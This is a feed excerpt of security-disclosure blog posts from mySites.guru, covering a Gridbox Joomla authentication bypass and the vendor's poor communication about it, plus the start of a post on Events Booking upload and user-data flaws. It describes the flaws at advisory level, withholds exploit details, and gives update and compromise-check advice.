&lt;p&gt;The authentication bypass was in the build they sent us as hardened. We reported it back within the hour, copying the Joomla Security Strike Team, and told them plainly that every site running the extension should be treated as compromiseable immediately.&lt;/p&gt;
&lt;p&gt;Balbooa&apos;s reply was to ask us to quote for a paid security audit of Gridbox. We declined, because we have our hands full running mySites.guru, but we repeated that what we had already handed them had to be fixed straight away, asked to see a fixed build so we could verify it actually closed the hole, and offered to coordinate the disclosure and the CVE with them.&lt;/p&gt;
&lt;p&gt;Three days later the fix shipped, and we found out from someone else.&lt;/p&gt;
&lt;h2&gt;The changelog, in full&lt;/h2&gt;
&lt;p&gt;Here is what a Gridbox administrator sees today. This is the entire public description of a flaw that hands anonymous visitors a Super User account:&lt;/p&gt;
&lt;figure&gt;
  
  &lt;figcaption&gt;The complete public record of the Gridbox authentication bypass, as published by the vendor on 20 July 2026.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;Three words. &quot;Critical authentication vulnerability.&quot;&lt;/p&gt;
&lt;p&gt;We are not asking for a proof-of-concept in a changelog. Nobody sensible publishes exploit detail alongside a patch. But there is an enormous amount of room between an exploit and three words, and everything a site owner needs to make a decision lives in that space:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;No affected version range.&lt;/strong&gt; This is the single most important fact in any security release, and it is missing. A Gridbox administrator on 2.19 has no way to know whether this applies to them. Neither does one on 2.16, or 2.12. The version immediately before 2.20.1 was 2.20.0.2, released on &lt;strong&gt;21 October 2025&lt;/strong&gt;, which means the vulnerable code had been shipping for at least nine months and probably far longer. None of that is stated.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;No description of impact.&lt;/strong&gt; &quot;Authentication vulnerability&quot; covers everything from a session that expires too slowly to what actually happened here. A reader has no way to distinguish the two, so most will assume the mild version, because most vulnerabilities are the mild version.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;No urgency.&lt;/strong&gt; There is no &quot;update immediately&quot;, no severity rating, no note that sites should be checked for compromise. The entry sits in the same visual style as &quot;Incorrect time zone in the calendar&quot; from the previous release.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Two more security fixes filed as features.&lt;/strong&gt; Look at the Added section in that screenshot. Randomised server-side upload filenames, and CSRF protection on frontend file upload requests. Those are not features. They are the same two hardening measures we watched &lt;a href=&quot;https://mysites.guru/blog/events-booking-unauthenticated-upload-user-enumeration/&quot;&gt;JoomDonation bolt onto Events Booking&lt;/a&gt; last week after an unauthenticated upload flaw, and they belong under Fixed with an explanation. Filed under Added, they read as improvements rather than as repairs to something that was wrong.&lt;/p&gt;
&lt;h2&gt;No announcement anywhere else&lt;/h2&gt;
&lt;p&gt;A changelog is a reference document. People read it when they already suspect something. For a critical flaw the vendor also has to push the information out, and Balbooa runs exactly the right channel for that: a &lt;a href=&quot;https://www.balbooa.com/blog/gridbox&quot;&gt;Gridbox blog&lt;/a&gt; where they write about releases.&lt;/p&gt;
&lt;p&gt;There is nothing there about this.&lt;/p&gt;
&lt;p&gt;We checked the page on the day of release. The words &quot;security&quot;, &quot;vulnerability&quot;, &quot;critical&quot; and &quot;authentication&quot; do not appear on it at all. The only place the string 2.20.1 appears anywhere on that page is inside the cache-busting query strings on Balbooa&apos;s own stylesheets and scripts, which is its own small detail: their website is already running the patched version while their customers have been told nothing.&lt;/p&gt;
&lt;p&gt;So the sum total of public communication about a Super User authentication bypass is three words in a document you have to already know to go and read.&lt;/p&gt;
&lt;h2&gt;What coordinated disclosure would have looked like&lt;/h2&gt;
&lt;p&gt;We wrote about this &lt;a href=&quot;https://mysites.guru/blog/events-booking-unauthenticated-upload-user-enumeration/&quot;&gt;last week in the context of another vendor&lt;/a&gt;, and we would rather not make a habit of it, but the same gap has opened twice in a fortnight and it is worth being concrete about what was missing.&lt;/p&gt;
&lt;p&gt;Coordinated disclosure is a documented process. &lt;a href=&quot;https://www.iso.org/standard/72311.html&quot;&gt;ISO/IEC 29147&lt;/a&gt; covers how a vendor should handle and publish vulnerability information, &lt;a href=&quot;https://www.iso.org/standard/69725.html&quot;&gt;ISO/IEC 30111&lt;/a&gt; covers the handling process behind it, and the &lt;a href=&quot;https://vuls.cert.org/confluence/display/CVD&quot;&gt;CERT Guide to Coordinated Vulnerability Disclosure&lt;/a&gt; is the practitioner reference. They agree on the vendor&apos;s obligations, and four of them apply here.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Tell the reporter the release is coming.&lt;/strong&gt; We asked to be kept in the loop and offered to coordinate. The release went out on 20 July and we learned about it from the Joomla Security Strike Team, not from Balbooa. There is no version of coordinated disclosure in which the reporter finds out from a third party.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Ask the reporter to verify the fix before you ship it.&lt;/strong&gt; This is the step that protects the vendor, not the researcher. We explicitly asked for a fixed build so we could confirm the hole was actually closed, and were never sent one. We have not been able to verify 2.20.1 against what we reported. It looks right from the outside and we have no reason to think it is wrong, but nobody who found the flaw has checked the patch, and that is a risk Balbooa did not need to take. The fix for an authentication bypass is exactly the kind of change that can be almost right.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Publish an advisory a customer can act on.&lt;/strong&gt; An affected version range, a severity, an impact description and an instruction. This costs one paragraph.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Agree the disclosure timing once, in advance.&lt;/strong&gt; Fix a date with the reporter, publish together, request the CVE. Instead the patch went out unannounced, which starts the clock anyway, because anyone can now compare 2.20.0.2 with 2.20.1 and find the change. A silent security release does not buy quiet. It buys a head start for whoever is diffing releases, and leaves defenders reading three words.&lt;/p&gt;
&lt;p&gt;None of this requires a security team or a budget. It is an email to the person who reported it and a paragraph on a blog.&lt;/p&gt;
&lt;h2&gt;What you should do right now&lt;/h2&gt;
&lt;div&gt;
  &lt;div&gt;
    &lt;p&gt;Update today, not this week&lt;/p&gt;
    &lt;p&gt;Every Joomla site running Gridbox below 2.20.1 should be treated as trivially compromiseable by anyone who knows the trick.&lt;/p&gt;
    &lt;p&gt;The patch is public, so the flaw can be recovered by comparing two releases. There is no mitigating configuration and no firewall rule that helps.&lt;/p&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Update Gridbox to 2.20.1&lt;/strong&gt; on every Joomla site you manage. Joomla&apos;s Extensions updater will offer it, or download it from your Balbooa account.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Take a backup first&lt;/strong&gt;, as with any extension update on a production site. If you use mySites.guru, &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;trigger a snapshot&lt;/a&gt; so you have a clean point to return to.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Check for compromise on any site that has been running an affected version.&lt;/strong&gt; This is an authentication bypass, so the thing to look for is what an attacker does after logging in: unexpected Super User accounts, recently modified template files, and administrator logins you cannot account for. Our guides to &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;finding hacked files and backdoors&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;fixing a hacked Joomla site&lt;/a&gt; cover the process.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Rotate credentials&lt;/strong&gt; on any site you have reason to worry about, and treat the Joomla secret as exposed if the site was reachable and busy.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Do not wait for formalities.&lt;/strong&gt; The flaw is now tracked as CVE-2026-61425, but the fix already exists and the patch is public. Update regardless of any advisory catching up.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Which versions are affected?&lt;/h2&gt;
&lt;p&gt;We confirmed the bypass in &lt;strong&gt;2.20.0.1&lt;/strong&gt;, which is the build Balbooa sent us. Being straight about the limits of that: we tested one version, and the vendor has published no affected range, so we cannot tell you when the flawed code first appeared.&lt;/p&gt;
&lt;p&gt;What we can tell you is that the release immediately before the fix was &lt;strong&gt;2.20.0.2, dated 21 October 2025&lt;/strong&gt;. Nine months of releases separate those two entries, which means the vulnerable code was in the shipping product for at least that long.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Treat every Gridbox below 2.20.1 as affected.&lt;/strong&gt; The fixed version for this flaw is &lt;strong&gt;2.20.1&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;That was true on the day, and it is out of date now: &lt;a href=&quot;https://mysites.guru/blog/gridbox-23-critical-vulnerabilities/&quot;&gt;the audit that followed&lt;/a&gt; found 23 more vulnerabilities affecting everything up to and including 2.20.1. The current release is &lt;strong&gt;2.20.2.3&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Across the Joomla sites connected to mySites.guru we can see the Gridbox component on &lt;strong&gt;447 sites&lt;/strong&gt;. At the time of writing &lt;strong&gt;244 of those are still on 2.20.0.2&lt;/strong&gt;, the last release before the fix, and only 137 have picked up 2.20.1. That split is why the missing announcement matters: the update exists, and most sites have no idea they need it.&lt;/p&gt;
&lt;h2&gt;How do I find every Gridbox site I manage?&lt;/h2&gt;
&lt;p&gt;The awkward question after any extension security release is which of your sites actually run the thing. Up to about ten sites you can log into each Joomla admin and read the installed extensions list. Past that you need a single view, which is exactly why version numbers get so old.&lt;/p&gt;
&lt;p&gt;mySites.guru keeps a live inventory of every extension, template and framework on every Joomla and WordPress site in your account. Search for Gridbox once and get back every connected site running it, the version each one is on, and whether an update is available. That is the same query that produced the numbers above.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;View every Gridbox install across your sites&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions&quot;&gt;Open your Extension Inventory&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Search for Gridbox across every connected Joomla site and filter for anything below 2.20.1. Not a subscriber? &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Sign up free&lt;/a&gt; and connect your sites.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;When a fix ships we add the affected range to our vulnerability database, so every connected site still on a vulnerable version of Gridbox is flagged automatically, and the &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass updater&lt;/a&gt; pushes the update to all of them from one screen.&lt;/p&gt;
&lt;h2&gt;Credit where it is due&lt;/h2&gt;
&lt;p&gt;We have been hard on the communications here, so it is worth separating them from everything else.&lt;/p&gt;
&lt;p&gt;Balbooa did something most vendors never do: after taking one disclosure on the chin they went looking for problems in their other products, and then invited an outside party to test the result. That instinct is genuinely good, and the fix itself arrived in three days, which is fast by any standard in this ecosystem.&lt;/p&gt;
&lt;p&gt;The bug is also an ordinary kind of mistake. Trusting a value from the request is the oldest error in web authentication, and it is in a great deal of shipped code written by people who know better.&lt;/p&gt;
&lt;p&gt;What let this down was everything after the fix was written. The patch went out without telling the person who reported it, without anyone verifying it closed the hole, described in three words, with no affected versions and no announcement. A good engineering response and a poor communications response are different things, and only one of them was the problem here.&lt;/p&gt;
&lt;h2&gt;Stay ahead of the next one&lt;/h2&gt;
&lt;p&gt;There will be another one. Joomla runs on thousands of third-party extensions, and the ones that touch authentication or accept anonymous input keep producing findings like this. The hard part was never the update. It is knowing a fix exists at all, which in this case the vendor has made unusually difficult, then knowing which of your sites are affected and getting to them first.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Get free email alerts when a Joomla vulnerability breaks&lt;/p&gt;
  &lt;p&gt;We email a plain-English alert the moment a serious flaw like this one is disclosed, with the affected versions and what to do. No charge, unsubscribe any time.&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://list.mysites.guru/subscribe&quot;&gt;Subscribe to security alerts&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Want the alerts and the tooling to act on them? Start with a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; on one site and see your full extension inventory, or &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;sign up for mySites.guru&lt;/a&gt; to get vulnerability alerts and one-click updates across every site you manage.&lt;/p&gt;
&lt;h2&gt;Disclosure and Severity&lt;/h2&gt;
&lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      &lt;span&gt;10.0&lt;/span&gt;
      &lt;span&gt;CVSS 4.0&lt;/span&gt;
    &lt;/div&gt;
    &lt;div&gt;
      &lt;p&gt;
        &lt;span&gt;Critical&lt;/span&gt;
        &lt;span&gt;Our own assessment; tracked as CVE-2026-61425 via the Joomla CNA&lt;/span&gt;
      &lt;/p&gt;
      &lt;p&gt;Unauthenticated, exploitable over the internet in a single request, with no user interaction, yielding a Super User account. On Joomla that reaches PHP execution through template editing, so confidentiality, integrity and availability all fall, for the site and usually for the hosting account behind it.&lt;/p&gt;
      &lt;div&gt;
        &lt;span&gt;No login needed&lt;/span&gt;
        &lt;span&gt;Single request&lt;/span&gt;
        &lt;span&gt;Full Super User takeover&lt;/span&gt;
        &lt;span&gt;Leads to code execution&lt;/span&gt;
        &lt;span&gt;No firewall mitigation&lt;/span&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Extension&lt;/td&gt;
&lt;td&gt;Gridbox for Joomla (&lt;code&gt;com_gridbox&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vendor&lt;/td&gt;
&lt;td&gt;Balbooa (&lt;a href=&quot;https://www.balbooa.com/&quot;&gt;balbooa.com&lt;/a&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Type&lt;/td&gt;
&lt;td&gt;Authentication bypass using an attacker-controlled value (&lt;a href=&quot;https://cwe.mitre.org/data/definitions/290.html&quot;&gt;CWE-290&lt;/a&gt;, &lt;a href=&quot;https://cwe.mitre.org/data/definitions/565.html&quot;&gt;CWE-565&lt;/a&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVSS 4.0&lt;/td&gt;
&lt;td&gt;10.0 (Critical), our own assessment. The published CVE record scores it 9.4 on a vector requiring high privileges, which does not match what we reproduced. See the note below&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVE&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61425&quot;&gt;CVE-2026-61425&lt;/a&gt; (assigned via the &lt;a href=&quot;https://www.joomla.org/announcements/general-news/5829-joomla-is-now-running-its-own-cve-numbering-authority-cna.html&quot;&gt;Joomla CNA&lt;/a&gt;). The published record gives the affected range as &quot;&amp;lt; 1.6.0&quot;. See the note below&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Impact&lt;/td&gt;
&lt;td&gt;Unauthenticated takeover of any account, including Super User, leading to code execution&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Confirmed in&lt;/td&gt;
&lt;td&gt;2.20.0.1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected versions&lt;/td&gt;
&lt;td&gt;Not published by the vendor. Treat everything below 2.20.1 as affected&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fixed in&lt;/td&gt;
&lt;td&gt;2.20.1, released 20 July 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Finder&lt;/td&gt;
&lt;td&gt;Phil Taylor, mySites.guru&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;9 July 2026&lt;/td&gt;
&lt;td&gt;Balbooa ships the fix for the unrelated &lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;Balbooa Forms&lt;/a&gt; file upload flaw, later CVE-2026-56291, reported by mySites.guru.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;17 July 2026&lt;/td&gt;
&lt;td&gt;Balbooa contacts mySites.guru unprompted, says the earlier report prompted a review of their other products, states that Gridbox has been hardened, and sends a package with an invitation to test it.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;17 July 2026&lt;/td&gt;
&lt;td&gt;mySites.guru tests the supplied build and finds the critical authentication bypass in it. The finding is reported back to Balbooa the same day, copying the Joomla Security Strike Team, with the advice that every site running the extension should be treated as compromiseable.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;17 July 2026&lt;/td&gt;
&lt;td&gt;Balbooa acknowledges the report and asks mySites.guru to quote for a paid security audit of Gridbox.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;20 July 2026&lt;/td&gt;
&lt;td&gt;mySites.guru declines the paid audit, restates that the reported flaw must be fixed immediately, asks for a fixed build in order to verify it, and offers to coordinate the disclosure and the CVE.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;20 July 2026&lt;/td&gt;
&lt;td&gt;Balbooa publishes &lt;strong&gt;Gridbox 2.20.1&lt;/strong&gt; containing the fix, without notifying mySites.guru and without asking for the fix to be verified. mySites.guru learns of the release from the Joomla Security Strike Team. The changelog describes it as &quot;Critical authentication vulnerability&quot; with no affected version range. No announcement is published on the Gridbox blog.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;20 July 2026&lt;/td&gt;
&lt;td&gt;The Joomla CNA assigns &lt;strong&gt;CVE-2026-61425&lt;/strong&gt; for the authentication bypass. mySites.guru adds the affected range to its Joomla vulnerability database so every connected site below 2.20.1 is flagged, and publishes this write-up without a proof-of-concept.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;A note on the published CVE record&lt;/h2&gt;
&lt;p&gt;The record for CVE-2026-61425 has since published, and two fields in it do not match what we reported and reproduced.&lt;/p&gt;
&lt;p&gt;It describes the issue as an &quot;authenticated bypass&quot; and scores it &lt;strong&gt;9.4 Critical&lt;/strong&gt; on a CVSS 4.0 vector carrying &lt;code&gt;PR:H&lt;/code&gt;, meaning high privileges are needed before the attack works. We reproduced it with &lt;strong&gt;no account and no session at all&lt;/strong&gt;: one cookie on an anonymous request returned a Super User session. On our reading the vector is &lt;code&gt;PR:N&lt;/code&gt;, which is what takes the score to 10.0.&lt;/p&gt;
&lt;p&gt;The record also gives the affected range as &lt;strong&gt;&quot;Gridbox &amp;lt; 1.6.0&quot;&lt;/strong&gt;. We confirmed the flaw in &lt;strong&gt;2.20.0.1&lt;/strong&gt;, and Balbooa fixed it in &lt;strong&gt;2.20.1&lt;/strong&gt;, so that range excludes every version we actually tested, including the one the vendor patched.&lt;/p&gt;
&lt;p&gt;We are keeping our own account here because we proved it live. If you are deciding what to do about a Gridbox install, use the versions in this post rather than the range in the record.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/gridbox-23-critical-vulnerabilities/&quot;&gt;Another 23 critical vulnerabilities in Gridbox&lt;/a&gt; - the full audit that followed this disclosure, and the reason 2.20.1 is no longer enough.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;Our Balbooa Forms disclosure&lt;/a&gt; - the same vendor, the flaw that started this, and the reason they invited us to look at Gridbox.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/events-booking-unauthenticated-upload-user-enumeration/&quot;&gt;Events Booking: anyone could upload files to your server&lt;/a&gt; - a different vendor with the same communications problem, published last week.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;A month of Joomla extension vulnerabilities&lt;/a&gt; - the full run of findings this has been part of.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/290.html&quot;&gt;CWE-290: Authentication Bypass by Spoofing&lt;/a&gt; and &lt;a href=&quot;https://cwe.mitre.org/data/definitions/565.html&quot;&gt;CWE-565: Reliance on Cookies without Validation and Integrity Checking&lt;/a&gt; - the canonical references for this weakness class.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.iso.org/standard/72311.html&quot;&gt;ISO/IEC 29147&lt;/a&gt; and the &lt;a href=&quot;https://vuls.cert.org/confluence/display/CVD&quot;&gt;CERT Guide to Coordinated Vulnerability Disclosure&lt;/a&gt; - what the disclosure process is supposed to look like.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.balbooa.com/help/gridbox-documentation/basics/changelog-2-x&quot;&gt;Gridbox changelog&lt;/a&gt; - where 2.20.1 is documented, in three words.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>gridbox</category><category>balbooa</category><category>vulnerability</category><category>responsible disclosure</category><enclosure url="https://mysites.guru/_astro/gridbox-critical-authentication-bypass.CWIAQjRF.png" length="0" type="image/png"/></item><item><title>Events Booking for Joomla: Anyone Could Upload Files to Your Server</title><link>https://mysites.guru/blog/events-booking-unauthenticated-upload-user-enumeration/</link><guid isPermaLink="true">https://mysites.guru/blog/events-booking-unauthenticated-upload-user-enumeration/</guid><description>mySites.guru found two unauthenticated flaws in Events Booking for Joomla: anonymous file upload enabled by default, and a leak of every user&apos;s name and email. Fixed across 5.8.0 and 5.8.1.</description><pubDate>Mon, 20 Jul 2026 11:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://joomdonation.com/joomla-extensions/events-booking-joomla-events-registration.html&quot;&gt;Events Booking&lt;/a&gt; is one of the most widely used event registration and ticketing components for Joomla. It runs conference sign-ups, class bookings and ticket sales, which means the accounts on the site belong to real attendees who handed over their details to book something. During routine security research on the extensions our customers rely on, &lt;strong&gt;mySites.guru found two unauthenticated vulnerabilities in Events Booking and reported them privately to JoomDonation.&lt;/strong&gt;&lt;/p&gt;
&lt;div&gt;
  &lt;div&gt;
    &lt;p&gt;Finding one&lt;/p&gt;
    &lt;p&gt;Simply having Events Booking installed meant any anonymous visitor could upload files to your web server.&lt;/p&gt;
    &lt;p&gt;No account, no login, no CSRF token, enabled by default on every install.&lt;/p&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Secondly, an access control flaw that returned &lt;strong&gt;any user&apos;s name and email address&lt;/strong&gt; to anyone who asked for it by user ID.&lt;/p&gt;
&lt;p&gt;If you run Events Booking on any Joomla site, update to &lt;strong&gt;5.8.1&lt;/strong&gt; now, not 5.8.0. On Joomla 3 the fixed version is &lt;strong&gt;4.9.5&lt;/strong&gt;, which is not in the public downloads area.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;mySites.guru discovered these issues and reported them privately to JoomDonation, copying the Joomla Security Strike Team. Fixes shipped in Events Booking 5.8.0 and 5.8.1. We are withholding the exact requests and any proof-of-concept while site owners update. This is how we handle every vulnerability we find: fix first, publish second.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Anyone could upload files to your server.&lt;/strong&gt; A front-end endpoint accepted uploads from anonymous visitors with no login and no CSRF token, &lt;strong&gt;enabled by default&lt;/strong&gt; on every install. The vendor has confirmed the default in writing&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;And the site serves it back out again.&lt;/strong&gt; For image extensions the matching download endpoint had no login check either, and filenames were not randomised, so an attacker uploaded under a name they chose and then fetched it from a URL they already knew. Anonymous in, anonymous out: a working file hosting service on your domain&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;That is your name on the hosting contract.&lt;/strong&gt; Free anonymous storage attracts pirated media, phishing kits, malware staged for other attacks, and illegal imagery, all served from your domain and billed to you. We have seen this arrive as a hosting abuse report before&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Customers were emailed that it is &quot;a security improvement rather than a vulnerability&quot;&lt;/strong&gt; on 20 July, three days after the Joomla CNA assigned it a CVE&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Anyone could read every user&apos;s name and email.&lt;/strong&gt; A second public endpoint returned a user&apos;s first name, last name and email address as JSON for any user ID handed to it, with no ownership check. Count up through the IDs and you have the whole user table&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The vendor told us repeatedly that the upload was not a security issue.&lt;/strong&gt; The Joomla CNA assigned it &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-60024&quot;&gt;CVE-2026-60024&lt;/a&gt; regardless, describing it in those exact terms&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Then came the fixes for the non-issue the developer stated did not exist. Funny, that.&lt;/strong&gt; Across 5.8.0 and 5.8.1 that endpoint gained a CSRF token, a per-field permission check, per-session and per-minute rate limits, folder size and file count caps, real image content validation, randomised filenames and an admin tool to clean up the files it had already accepted&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;We were then asked, more than once, to keep quiet about it&lt;/strong&gt;, each time after a release had shipped and, on the second occasion, after every customer had already been emailed&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;5.8.1 is the version to be on.&lt;/strong&gt; 5.8.0 closed the two reported flaws; 5.8.1 is where the upload hardening actually happened&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Two different packages shipped as &quot;5.8.0&quot;.&lt;/strong&gt; The vendor rebuilt it mid-afternoon on 15 July without changing the version number, so updating early got you the weaker build with no way to tell&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Joomla 3 users need 4.9.5, which is not in the public downloads area.&lt;/strong&gt; Configure a Download ID and use Joomla&apos;s updater, or open a support ticket&lt;/li&gt;
&lt;li&gt;Three CVEs assigned via the Joomla CNA: &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58149&quot;&gt;CVE-2026-58149&lt;/a&gt;, &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-60024&quot;&gt;CVE-2026-60024&lt;/a&gt;, &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-60025&quot;&gt;CVE-2026-60025&lt;/a&gt;, all crediting Phil Taylor of mySites.guru&lt;/li&gt;
&lt;li&gt;Across the Events Booking installs we can see on our customers&apos; sites, &lt;strong&gt;not one was running the current release&lt;/strong&gt;, and roughly three quarters were a whole major version behind&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Finding one: anonymous file upload, on by default&lt;/h2&gt;
&lt;p&gt;Events Booking supports File custom fields, so an event organiser can ask registrants to attach something during sign-up: a photo, a signed waiver, a proof of eligibility. The upload runs over an AJAX endpoint on the front end.&lt;/p&gt;
&lt;p&gt;In Events Booking 5.7.1 and earlier, that endpoint had no login check and no CSRF token. It took whatever file it was given, checked the extension against the configured attachment allow-list, and wrote it into &lt;code&gt;media/com_eventbooking/files&lt;/code&gt;. Crucially, it did not check whether the site was even asking for uploads. The endpoint was live on every install from the moment the component was present, whether or not the administrator had ever created a File field.&lt;/p&gt;
&lt;p&gt;That last point is the vendor&apos;s own, given to the Joomla Security Strike Team on 17 July:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;It was enabled by default in previous versions. From 5.8.0, it will only be enabled if admin creates custom field to allow registrants to upload file when they register for the event.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The Joomla CNA description of &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-60024&quot;&gt;CVE-2026-60024&lt;/a&gt; puts the same fact in the official record: &lt;em&gt;&quot;The Joomla extension Events Booking prior version 5.8.0 did by default allow unauthenticated users to upload media assets.&quot;&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;What that actually buys an attacker&lt;/h3&gt;
&lt;p&gt;The allow-list is what keeps this from being a critical finding. The shipped default is &lt;code&gt;bmp|gif|jpg|png|swf|zip|doc|pdf|xls&lt;/code&gt;, which &lt;strong&gt;does not include a PHP extension&lt;/strong&gt;. The extension check reads the last segment of the filename, Joomla&apos;s own filename sanitising is applied, and the usual double-extension and traversal tricks do not get through.&lt;/p&gt;
&lt;p&gt;So on a default configuration this stops short of remote code execution. On a site whose administrator has widened the allow-list to include an executable type, which is unusual but not unheard of where sites accept unusual attachments, it becomes a straightforward unauthenticated remote code execution.&lt;/p&gt;
&lt;p&gt;Read that default list again with an attacker&apos;s eyes rather than an event organiser&apos;s, though. &lt;code&gt;zip&lt;/code&gt;, &lt;code&gt;doc&lt;/code&gt;, &lt;code&gt;xls&lt;/code&gt; and &lt;code&gt;pdf&lt;/code&gt; are no threat to the server itself. They are close to ideal for distributing malware from a domain nobody has any reason to block, and &lt;code&gt;doc&lt;/code&gt; and &lt;code&gt;xls&lt;/code&gt; have been the standard carriers for macro payloads for twenty years.&lt;/p&gt;
